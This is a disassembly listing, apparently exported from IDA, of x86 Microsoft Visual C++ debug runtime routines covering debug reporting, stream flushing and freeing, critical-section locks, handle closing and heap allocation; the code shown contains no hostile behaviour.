loc_422BCD:				; CODE XREF: sub_4229A0+21Fj
		mov	[ebp+var_1138],	offset dword_43CF7C

loc_422BD7:				; CODE XREF: sub_4229A0+22Bj
		mov	edx, [ebp+var_1114]
		push	edx
		mov	eax, [ebp+var_1118]
		push	eax
		mov	ecx, [ebp+var_111C]
		push	ecx
		mov	edx, [ebp+var_1120]
		push	edx
		mov	eax, [ebp+var_1124]
		push	eax
		mov	ecx, [ebp+var_1128]
		push	ecx
		mov	edx, [ebp+var_112C]
		push	edx
		mov	eax, [ebp+var_1130]
		push	eax
		mov	ecx, [ebp+var_1134]
		push	ecx
		mov	edx, [ebp+var_1138]
		push	edx
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, off_451BA4[ecx*4]
		push	edx
		push	offset aDebugSProgramS ; "Debug	%s!\n\nProgram:	%s%s%s%s%s%s%s%s%s%"...
		push	1000h
		lea	eax, [ebp+var_110C]
		push	eax
		call	sub_41EC30
		add	esp, 3Ch
		test	eax, eax
		jge	short loc_422C5D
		push	offset a_crtdbgreportS ; "_CrtDbgReport: String	too long or IO Er"...
		lea	ecx, [ebp+var_110C]
		push	ecx
		call	sub_41F620
		add	esp, 8

loc_422C5D:				; CODE XREF: sub_4229A0+2A7j
		push	12012h
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Debug Library"
		lea	edx, [ebp+var_110C]
		push	edx
		call	sub_430AA0
		add	esp, 0Ch
		mov	[ebp+var_10C], eax
		cmp	[ebp+var_10C], 3
		jnz	short loc_422C96
		push	16h
		call	sub_4307E0
		add	esp, 4
		push	3
		call	sub_41E8C0

loc_422C96:				; CODE XREF: sub_4229A0+2E3j
		cmp	[ebp+var_10C], 4
		jnz	short loc_422CA6
		mov	eax, 1
		jmp	short loc_422CA8
; ---------------------------------------------------------------------------

loc_422CA6:				; CODE XREF: sub_4229A0+2FDj
		xor	eax, eax

loc_422CA8:				; CODE XREF: sub_4229A0+304j
		mov	esp, ebp
		pop	ebp
		retn
sub_4229A0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422CB0	proc near		; CODE XREF: sub_41BD80+71p
					; sub_4314E0+400p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4F3880
		jnb	short loc_422CE1
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4F3780[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 1
		test	ecx, ecx
		jnz	short loc_422CFC

loc_422CE1:				; CODE XREF: sub_422CB0+Dj
		call	sub_429A90
		mov	dword ptr [eax], 9
		call	sub_429AA0
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		jmp	short loc_422D26
; ---------------------------------------------------------------------------

loc_422CFC:				; CODE XREF: sub_422CB0+2Fj
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_431070
		add	esp, 4
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_422D30
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_431100
		add	esp, 4
		mov	eax, [ebp+var_4]

loc_422D26:				; CODE XREF: sub_422CB0+4Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_422CB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422D30	proc near		; CODE XREF: sub_422CB0+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_430EF0
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_422D83
		cmp	[ebp+arg_0], 1
		jz	short loc_422D52
		cmp	[ebp+arg_0], 2
		jnz	short loc_422D6C

loc_422D52:				; CODE XREF: sub_422D30+1Aj
		push	1
		call	sub_430EF0
		add	esp, 4
		mov	esi, eax
		push	2
		call	sub_430EF0
		add	esp, 4
		cmp	esi, eax
		jz	short loc_422D83

loc_422D6C:				; CODE XREF: sub_422D30+20j
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_430EF0
		add	esp, 4
		push	eax
		call	dword_4F533C	; CloseHandle
		test	eax, eax
		jz	short loc_422D8C

loc_422D83:				; CODE XREF: sub_422D30+14j
					; sub_422D30+3Aj
		mov	[ebp+var_4], 0
		jmp	short loc_422D95
; ---------------------------------------------------------------------------

loc_422D8C:				; CODE XREF: sub_422D30+51j
		call	dword_4F5360	; RtlGetLastWin32Error
		mov	[ebp+var_4], eax

loc_422D95:				; CODE XREF: sub_422D30+5Aj
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_430E10
		add	esp, 4
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4F3780[eax*4]
		mov	byte ptr [edx+ecx+4], 0
		cmp	[ebp+var_4], 0
		jz	short loc_422DD3
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_4299F0
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	short loc_422DD5
; ---------------------------------------------------------------------------

loc_422DD3:				; CODE XREF: sub_422D30+90j
		xor	eax, eax

loc_422DD5:				; CODE XREF: sub_422D30+A1j
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_422D30	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422DE0	proc near		; CODE XREF: sub_41BD80+62p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi

loc_422DE6:				; CODE XREF: sub_422DE0+2Ej
		cmp	[ebp+arg_0], 0
		jnz	short loc_422E0A
		push	offset dword_43C504
		push	0
		push	30h
		push	offset a_freebuf_c ; "_freebuf.c"
		push	2
		call	sub_422610
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_422E0A
		int	3		; Trap to Debugger

loc_422E0A:				; CODE XREF: sub_422DE0+Aj
					; sub_422DE0+27j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_422DE6
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0Ch]
		and	edx, 83h
		test	edx, edx
		jz	short loc_422E6D
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+0Ch]
		and	ecx, 8
		test	ecx, ecx
		jz	short loc_422E6D
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		push	eax
		call	sub_41CA10
		add	esp, 8
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0Ch]
		and	edx, 0FFFFFBF7h
		mov	eax, [ebp+arg_0]
		mov	[eax+0Ch], edx
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx], 0
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+8], 0
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+4], 0

loc_422E6D:				; CODE XREF: sub_422DE0+3Ej
					; sub_422DE0+4Bj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_422DE0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword ptr [ebp+8], 0
		jnz	short loc_422E96
		push	0
		call	sub_422FF0
		add	esp, 4
		jmp	short loc_422EC0
; ---------------------------------------------------------------------------

loc_422E96:				; CODE XREF: .packed:00422E88j
		mov	eax, [ebp+8]
		push	eax
		call	sub_422420
		add	esp, 4
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_422ED0
		add	esp, 4
		mov	[ebp-4], eax
		mov	edx, [ebp+8]
		push	edx
		call	sub_422490
		add	esp, 4
		mov	eax, [ebp-4]

loc_422EC0:				; CODE XREF: .packed:00422E94j
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422ED0	proc near		; CODE XREF: .packed:00422EA6p
					; sub_422FF0+B1p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_422F20
		add	esp, 4
		test	eax, eax
		jz	short loc_422EE8
		or	eax, 0FFFFFFFFh
		jmp	short loc_422F0F
; ---------------------------------------------------------------------------

loc_422EE8:				; CODE XREF: sub_422ED0+11j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0Ch]
		and	edx, 4000h
		test	edx, edx
		jz	short loc_422F0D
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+10h]
		push	ecx
		call	sub_431130
		add	esp, 4
		neg	eax
		sbb	eax, eax
		jmp	short loc_422F0F
; ---------------------------------------------------------------------------

loc_422F0D:				; CODE XREF: sub_422ED0+26j
		xor	eax, eax

loc_422F0F:				; CODE XREF: sub_422ED0+16j
					; sub_422ED0+3Bj
		pop	ebp
		retn
sub_422ED0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422F20	proc near		; CODE XREF: sub_41BD80+53p
					; sub_421050+A2p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+0Ch]
		and	edx, 3
		cmp	edx, 2
		jnz	short loc_422FBB
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+0Ch]
		and	ecx, 108h
		test	ecx, ecx
		jz	short loc_422FBB
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_8]
		mov	ecx, [edx]
		sub	ecx, [eax+8]
		mov	[ebp+var_C], ecx
		cmp	[ebp+var_C], 0
		jle	short loc_422FBB
		mov	edx, [ebp+var_C]
		push	edx
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+8]
		push	ecx
		mov	edx, [ebp+var_8]
		mov	eax, [edx+10h]
		push	eax
		call	sub_42E940
		add	esp, 0Ch
		cmp	eax, [ebp+var_C]
		jnz	short loc_422FA5
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+0Ch]
		and	edx, 80h
		test	edx, edx
		jz	short loc_422FA3
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+0Ch]
		and	ecx, 0FFFFFFFDh
		mov	edx, [ebp+var_8]
		mov	[edx+0Ch], ecx

loc_422FA3:				; CODE XREF: sub_422F20+72j
		jmp	short loc_422FBB
; ---------------------------------------------------------------------------

loc_422FA5:				; CODE XREF: sub_422F20+62j
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+0Ch]
		or	ecx, 20h
		mov	edx, [ebp+var_8]
		mov	[edx+0Ch], ecx
		mov	[ebp+var_4], 0FFFFFFFFh

loc_422FBB:				; CODE XREF: sub_422F20+1Fj
					; sub_422F20+2Fj ...
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+8]
		mov	[eax], edx
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax+4], 0
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_422F20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422FE0	proc near		; CODE XREF: sub_422400+3p
		push	ebp
		mov	ebp, esp
		push	1
		call	sub_422FF0
		add	esp, 4
		pop	ebp
		retn
sub_422FE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422FF0	proc near		; CODE XREF: .packed:00422E8Cp
					; sub_422FE0+5p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_4], 0
		mov	[ebp+var_8], 0
		push	2
		call	sub_423280
		add	esp, 4
		mov	[ebp+var_C], 0
		jmp	short loc_423020
; ---------------------------------------------------------------------------

loc_423017:				; CODE XREF: sub_422FF0:loc_42310Ej
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax

loc_423020:				; CODE XREF: sub_422FF0+25j
		mov	ecx, [ebp+var_C]
		cmp	ecx, dword_4F4AE0
		jge	loc_423113
		mov	edx, [ebp+var_C]
		mov	eax, dword_4F3AD4
		cmp	dword ptr [eax+edx*4], 0
		jz	loc_42310E
		mov	ecx, [ebp+var_C]
		mov	edx, dword_4F3AD4
		mov	eax, [edx+ecx*4]
		mov	ecx, [eax+0Ch]
		and	ecx, 83h
		test	ecx, ecx
		jz	loc_42310E
		mov	edx, [ebp+var_C]
		mov	eax, dword_4F3AD4
		mov	ecx, [eax+edx*4]
		push	ecx
		mov	edx, [ebp+var_C]
		push	edx
		call	sub_422460
		add	esp, 8
		mov	eax, [ebp+var_C]
		mov	ecx, dword_4F3AD4
		mov	edx, [ecx+eax*4]
		mov	eax, [edx+0Ch]
		and	eax, 83h
		test	eax, eax
		jz	short loc_4230F5
		cmp	[ebp+arg_0], 1
		jnz	short loc_4230B9
		mov	ecx, [ebp+var_C]
		mov	edx, dword_4F3AD4
		mov	eax, [edx+ecx*4]
		push	eax
		call	sub_422ED0
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4230B7
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx

loc_4230B7:				; CODE XREF: sub_422FF0+BCj
		jmp	short loc_4230F5
; ---------------------------------------------------------------------------

loc_4230B9:				; CODE XREF: sub_422FF0+A2j
		cmp	[ebp+arg_0], 0
		jnz	short loc_4230F5
		mov	edx, [ebp+var_C]
		mov	eax, dword_4F3AD4
		mov	ecx, [eax+edx*4]
		mov	edx, [ecx+0Ch]
		and	edx, 2
		test	edx, edx
		jz	short loc_4230F5
		mov	eax, [ebp+var_C]
		mov	ecx, dword_4F3AD4
		mov	edx, [ecx+eax*4]
		push	edx
		call	sub_422ED0
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4230F5
		mov	[ebp+var_8], 0FFFFFFFFh

loc_4230F5:				; CODE XREF: sub_422FF0+9Cj
					; sub_422FF0:loc_4230B7j ...
		mov	eax, [ebp+var_C]
		mov	ecx, dword_4F3AD4
		mov	edx, [ecx+eax*4]
		push	edx
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_4224D0
		add	esp, 8

loc_42310E:				; CODE XREF: sub_422FF0+4Bj
					; sub_422FF0+68j
		jmp	loc_423017
; ---------------------------------------------------------------------------

loc_423113:				; CODE XREF: sub_422FF0+39j
		push	2
		call	sub_423320
		add	esp, 4
		cmp	[ebp+arg_0], 1
		jnz	short loc_423128
		mov	eax, [ebp+var_4]
		jmp	short loc_42312B
; ---------------------------------------------------------------------------

loc_423128:				; CODE XREF: sub_422FF0+131j
		mov	eax, [ebp+var_8]

loc_42312B:				; CODE XREF: sub_422FF0+136j
		mov	esp, ebp
		pop	ebp
		retn
sub_422FF0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		push	9
		call	sub_423280
		add	esp, 4
		mov	eax, dword_4F3438
		mov	[ebp-4], eax
		mov	ecx, [ebp+8]
		mov	dword_4F3438, ecx
		push	9
		call	sub_423320
		add	esp, 4
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, dword_4F3438
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423170	proc near		; CODE XREF: sub_41BEC0+7Dp
					; sub_423460+41p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4F3438
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_423190
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	[ebp+var_4]
		add	esp, 4
		test	eax, eax
		jnz	short loc_423194

loc_423190:				; CODE XREF: sub_423170+10j
		xor	eax, eax
		jmp	short loc_423199
; ---------------------------------------------------------------------------

loc_423194:				; CODE XREF: sub_423170+1Ej
		mov	eax, 1

loc_423199:				; CODE XREF: sub_423170+22j
		mov	esp, ebp
		pop	ebp
		retn
sub_423170	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4231A0	proc near		; CODE XREF: sub_428E00+4p
		push	ebp
		mov	ebp, esp
		mov	eax, off_451BF4
		push	eax
		call	dword_4F54A4	; InitializeCriticalSection
		mov	ecx, off_451BE4
		push	ecx
		call	dword_4F54A4	; InitializeCriticalSection
		mov	edx, off_451BD4
		push	edx
		call	dword_4F54A4	; InitializeCriticalSection
		mov	eax, off_451BB4
		push	eax
		call	dword_4F54A4	; InitializeCriticalSection
		pop	ebp
		retn
sub_4231A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4231E0	proc near		; CODE XREF: .packed:00428E93p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 0
		jmp	short loc_4231F6
; ---------------------------------------------------------------------------

loc_4231ED:				; CODE XREF: sub_4231E0:loc_423247j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax

loc_4231F6:				; CODE XREF: sub_4231E0+Bj
		cmp	[ebp+var_4], 30h
		jge	short loc_423249
		mov	ecx, [ebp+var_4]
		cmp	dword_451BB0[ecx*4], 0
		jz	short loc_423247
		cmp	[ebp+var_4], 11h
		jz	short loc_423247
		cmp	[ebp+var_4], 0Dh
		jz	short loc_423247
		cmp	[ebp+var_4], 9
		jz	short loc_423247
		cmp	[ebp+var_4], 1
		jz	short loc_423247
		mov	edx, [ebp+var_4]
		mov	eax, dword_451BB0[edx*4]
		push	eax
		call	dword_4F53B0	; RtlDeleteCriticalSection
		push	2
		mov	ecx, [ebp+var_4]
		mov	edx, dword_451BB0[ecx*4]
		push	edx
		call	sub_41CA10
		add	esp, 8

loc_423247:				; CODE XREF: sub_4231E0+27j
					; sub_4231E0+2Dj ...
		jmp	short loc_4231ED
; ---------------------------------------------------------------------------

loc_423249:				; CODE XREF: sub_4231E0+1Aj
		mov	eax, off_451BD4
		push	eax
		call	dword_4F53B0	; RtlDeleteCriticalSection
		mov	ecx, off_451BE4
		push	ecx
		call	dword_4F53B0	; RtlDeleteCriticalSection
		mov	edx, off_451BF4
		push	edx
		call	dword_4F53B0	; RtlDeleteCriticalSection
		mov	eax, off_451BB4
		push	eax
		call	dword_4F53B0	; RtlDeleteCriticalSection
		mov	esp, ebp
		pop	ebp
		retn
sub_4231E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423280	proc near		; CODE XREF: sub_41BEC0+25p
					; sub_41C360+25p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	dword_451BB0[eax*4], 0
		jnz	short loc_423302
		push	0E1h
		push	offset aMlock_c	; "mlock.c"
		push	2
		push	18h
		call	sub_41BE70
		add	esp, 10h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4232BA
		push	11h
		call	sub_422270
		add	esp, 4

loc_4232BA:				; CODE XREF: sub_423280+2Ej
		push	11h
		call	sub_423280
		add	esp, 4
		mov	ecx, [ebp+arg_0]
		cmp	dword_451BB0[ecx*4], 0
		jnz	short loc_4232EA
		mov	edx, [ebp+var_4]
		push	edx
		call	dword_4F54A4	; InitializeCriticalSection
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		mov	dword_451BB0[eax*4], ecx
		jmp	short loc_4232F8
; ---------------------------------------------------------------------------

loc_4232EA:				; CODE XREF: sub_423280+4Fj
		push	2
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_41CA10
		add	esp, 8

loc_4232F8:				; CODE XREF: sub_423280+68j
		push	11h
		call	sub_423320
		add	esp, 4

loc_423302:				; CODE XREF: sub_423280+Fj
		mov	eax, [ebp+arg_0]
		mov	ecx, dword_451BB0[eax*4]
		push	ecx
		call	dword_4F53A8	; RtlEnterCriticalSection
		mov	esp, ebp
		pop	ebp
		retn
sub_423280	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423320	proc near		; CODE XREF: sub_41BF1D+2p
					; sub_41C3C3+2p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	ecx, dword_451BB0[eax*4]
		push	ecx
		call	dword_4F53A4	; RtlLeaveCriticalSection
		pop	ebp
		retn
sub_423320	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		push	eax
		push	0
		call	dword_4F54A8	; FatalAppExitA
		push	0FFh
		call	dword_4F5338	; ExitProcess
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423364	proc near		; DATA XREF: sub_41BEC0+Ao
					; sub_41C360+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_423404
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]

loc_423397:				; CODE XREF: sub_423364+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4233FD
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_4233EB
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_4233EB
		js	short loc_4233F6
		mov	edi, [ebx+8]
		push	ebx
		call	sub_420730
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_420772
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_420806
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]

loc_4233EB:				; CODE XREF: sub_423364+40j
					; sub_423364+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_423397
; ---------------------------------------------------------------------------

loc_4233F6:				; CODE XREF: sub_423364+54j
		mov	eax, 0
		jmp	short loc_423419
; ---------------------------------------------------------------------------

loc_4233FD:				; CODE XREF: sub_423364+36j
		mov	eax, 1
		jmp	short loc_423419
; ---------------------------------------------------------------------------

loc_423404:				; CODE XREF: sub_423364+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_420772
		add	esp, 8
		pop	ebp
		mov	eax, 1

loc_423419:				; CODE XREF: sub_423364+97j
					; sub_423364+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_423364	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_420772
		add	esp, 8
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423440	proc near		; CODE XREF: sub_423830+33p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4F3434
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_423460
		add	esp, 8
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_423440	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423460	proc near		; CODE XREF: sub_423440+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFFFE0h
		jbe	short loc_42346E
		xor	eax, eax
		jmp	short loc_4234B3
; ---------------------------------------------------------------------------

loc_42346E:				; CODE XREF: sub_423460+8j
					; sub_423460:loc_4234B1j
		cmp	[ebp+arg_0], 0FFFFFFE0h
		ja	short loc_423485
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4234C0
		add	esp, 4
		mov	[ebp+var_4], eax
		jmp	short loc_42348C
; ---------------------------------------------------------------------------

loc_423485:				; CODE XREF: sub_423460+12j
		mov	[ebp+var_4], 0

loc_42348C:				; CODE XREF: sub_423460+23j
		cmp	[ebp+var_4], 0
		jnz	short loc_423498
		cmp	[ebp+arg_4], 0
		jnz	short loc_42349D

loc_423498:				; CODE XREF: sub_423460+30j
		mov	eax, [ebp+var_4]
		jmp	short loc_4234B3
; ---------------------------------------------------------------------------

loc_42349D:				; CODE XREF: sub_423460+36j
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_423170
		add	esp, 4
		test	eax, eax
		jnz	short loc_4234B1
		xor	eax, eax
		jmp	short loc_4234B3
; ---------------------------------------------------------------------------

loc_4234B1:				; CODE XREF: sub_423460+4Bj
		jmp	short loc_42346E
; ---------------------------------------------------------------------------

loc_4234B3:				; CODE XREF: sub_423460+Cj
					; sub_423460+3Bj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_423460	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4234C0	proc near		; CODE XREF: sub_41BF80+19Dp
					; sub_423460+18p

var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 00423530 SIZE 00000077 BYTES
; FUNCTION CHUNK AT 004235B2 SIZE 0000005B BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43D048
		push	offset sub_423364
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		cmp	dword_4F3AAC, 3
		jnz	short loc_423543
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4F3ACC
		ja	short loc_42353E
		push	9
		call	sub_423280
		add	esp, 4
		mov	[ebp+var_4], 0
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_424790
		add	esp, 4
		mov	[ebp+var_1C], eax
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_423525
		jmp	short loc_423530
sub_4234C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_423525	proc near		; CODE XREF: sub_4234C0+5Ep
					; DATA XREF: .packed:0043D050o
		push	9
		call	sub_423320
		add	esp, 4
		retn
sub_423525	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4234C0

loc_423530:				; CODE XREF: sub_4234C0+63j
		cmp	[ebp+var_1C], 0
		jz	short loc_42353E
		mov	eax, [ebp+var_1C]
		jmp	loc_4235FC
; ---------------------------------------------------------------------------

loc_42353E:				; CODE XREF: sub_4234C0+35j
					; sub_4234C0+74j
		jmp	loc_4235D1
; ---------------------------------------------------------------------------

loc_423543:				; CODE XREF: sub_4234C0+2Aj
		cmp	dword_4F3AAC, 2
		jnz	loc_4235D1
		cmp	[ebp+arg_0], 0
		jz	short loc_423564
		mov	edx, [ebp+arg_0]
		add	edx, 0Fh
		and	edx, 0FFFFFFF0h
		mov	[ebp+arg_0], edx
		jmp	short loc_42356B
; ---------------------------------------------------------------------------

loc_423564:				; CODE XREF: sub_4234C0+94j
		mov	[ebp+arg_0], 10h

loc_42356B:				; CODE XREF: sub_4234C0+A2j
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_453C9C
		ja	short loc_4235BD
		push	9
		call	sub_423280
		add	esp, 4
		mov	[ebp+var_4], 1
		mov	ecx, [ebp+arg_0]
		shr	ecx, 4
		push	ecx
		call	sub_426210
		add	esp, 4
		mov	[ebp+var_1C], eax
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_4235A7
		jmp	short loc_4235B2
; END OF FUNCTION CHUNK	FOR sub_4234C0

; =============== S U B	R O U T	I N E =======================================



sub_4235A7	proc near		; CODE XREF: sub_4234C0+E0p
					; DATA XREF: .packed:0043D05Co
		push	9
		call	sub_423320
		add	esp, 4
		retn
